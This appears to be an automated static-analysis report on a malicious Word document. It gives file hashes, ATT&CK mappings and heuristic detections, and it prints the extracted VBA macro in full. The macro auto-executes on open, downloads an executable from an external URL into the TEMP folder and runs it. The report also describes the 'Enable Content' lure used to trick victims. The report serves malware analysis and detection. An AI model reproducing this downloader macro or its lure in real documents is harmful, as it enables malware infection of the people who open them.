Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a3dbd1d2f75f30eb…

MALICIOUS

Office (OLE)

33.5 KB Created: 2014-01-03 17:15:00 Authoring application: Microsoft Office Word First seen: 2015-09-27
MD5: a0692f322ca6f9062188badaefad3340 SHA-1: 03d33afc8e93a4caa82ddf8b4498e8058d2cc2a6 SHA-256: a3dbd1d2f75f30ebbd13889deae8c6b05a60b74f0d3fc3a7867534857de27ec0
334 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a Word document containing VBA macros that instruct the user to 'Click Enable Content to view Password for the Protected Document'. The Auto_Open macro calls a subroutine 'h' which uses URLDownloadToFile to download a file from 'http://thainatrualrubber.com/gg.exe' into the user's temporary directory as 'testeo2.exe'. It then executes this downloaded file using the Shell function. This indicates a downloader attack pattern.

Heuristics 12

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Environ("TEMP") & "\testeo2.exe"
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare Function URLDownloadToFile _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    URLDownloadToFile 0, "http://thainatrualrubber.com/gg.exe", Environ("TEMP") & "\testeo2.exe", 0, 0
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://thainatrualrubber.com/gg.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1033 bytes
SHA-256: 44dac1776b692eba7e625ade9b925bbe469dd16293268d2a3e9c3aba015f0f8e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function URLDownloadToFile _
                Lib "urlmon" _
                Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
                                            ByVal szURL As String, _
                                            ByVal szFileName As String, _
                                            ByVal dwReserved As Long, _
                                            ByVal lpfnCB As Long) As Long

Sub Auto_Open()
    h
End Sub

Sub h()
On Error Resume Next
URLDownloadToFile 0, "http://thainatrualrubber.com/gg.exe", Environ("TEMP") & "\testeo2.exe", 0, 0
Shell Environ("TEMP") & "\testeo2.exe"
End Sub

Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

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